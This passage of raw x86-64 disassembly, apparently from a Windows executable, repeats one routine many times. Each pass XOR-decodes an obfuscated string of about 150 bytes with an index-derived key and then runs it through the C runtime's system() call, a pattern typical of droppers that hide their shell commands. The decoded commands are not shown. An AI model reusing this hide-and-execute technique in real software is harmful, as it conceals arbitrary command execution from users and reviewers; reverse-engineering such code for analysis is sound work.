psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140057c30
cmp r8d, 0xa1
jge 0x140057d63
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140057d30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5f], al
lea rdx, [rbp + 0x7456]
lea rcx, [rbp + 0x5f]
call fcn.14006ded0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140057ee3
mov r8d, r14d
cmp r12d, 2
jl 0x140057ea7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140057db0
cmp r8d, 0x97
jge 0x140057ee3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140057eb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x60], al
lea rdx, [rbp + 0x7d4b]
lea rcx, [rbp + 0x60]
call fcn.14006df60
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x140058063
mov r8d, r14d
cmp r12d, 2
jl 0x140058027
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140057f30
cmp r8d, 0x9c
jge 0x140058063
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140058030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x61], al
lea rdx, [rbp + 0x90c0]
lea rcx, [rbp + 0x61]
call fcn.14006dff0
mov r10, rax
cmp byte [rax + 0xad], 0
je 0x1400581e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400581a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x1400580b0
cmp r8d, 0xae
jge 0x1400581e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x1400581b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x62], al
lea rdx, [rbp + 0x74ed]
lea rcx, [rbp + 0x62]
call fcn.14006e080
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140058363
mov r8d, r14d
cmp r12d, 2
jl 0x140058327
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140058230
cmp r8d, 0x97
jge 0x140058363
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140058330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x63], al
lea rdx, [rbp + 0x8191]
lea rcx, [rbp + 0x63]
call fcn.14006e110
mov r10, rax
cmp byte [rax + 0x9d], 0
je 0x1400584e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400584a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400583b0
cmp r8d, 0x9e
jge 0x1400584e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x1400584b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x64], al
lea rdx, [rbp + 0x6e83]
lea rcx, [rbp + 0x64]
call fcn.14006e1b0
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140058663
mov r8d, r14d
cmp r12d, 2
jl 0x140058627
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140058530
cmp r8d, 0x93
jge 0x140058663
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140058630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x65], al
lea rdx, [rbp + 0x7de7]
lea rcx, [rbp + 0x65]
call fcn.14006e240
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x1400587e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400587a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400586b0
cmp r8d, 0x9c
jge 0x1400587e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400587b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x66], al
lea rdx, [rbp + 0x8057]
lea rcx, [rbp + 0x66]
call fcn.14006e2d0
mov r10, rax
cmp byte [rax + 0x9c], 0
je 0x140058963
mov r8d, r14d
cmp r12d, 2
jl 0x140058927
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140058830
cmp r8d, 0x9d
jge 0x140058963
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x140058930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x67], al
lea rdx, [rbp + 0x8549]
lea rcx, [rbp + 0x67]
call fcn.14006e370
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140058ae3
cmp r12d, 2
jl 0x140058a9e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x1400589b0
jmp 0x140058ae3
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140058ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x68], al
lea rdx, [rbp + 0x85e9]
lea rcx, [rbp + 0x68]
call fcn.14006e3e0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140058c63
cmp r12d, 2
jl 0x140058c1e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140058b30
jmp 0x140058c63
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140058c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x69], al
lea rdx, [rbp + 0x886a]
lea rcx, [rbp + 0x69]
call fcn.14006e450
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140058de3
mov r8d, r14d
cmp r12d, 2
jl 0x140058da7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140058cb0
cmp r8d, 0xa1
jge 0x140058de3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140058db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6a], al
lea rdx, [rbp + 0x890b]
lea rcx, [rbp + 0x6a]
call fcn.14006e4d0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140058f63
mov r8d, r14d
cmp r12d, 2
jl 0x140058f27
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140058e30
cmp r8d, 0xa1
jge 0x140058f63
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140058f30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x6b], al
lea rdx, [rbp + 0x3409]
lea rcx, [rbp + 0x6b]
call fcn.14006e550
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x1400590e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400590a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
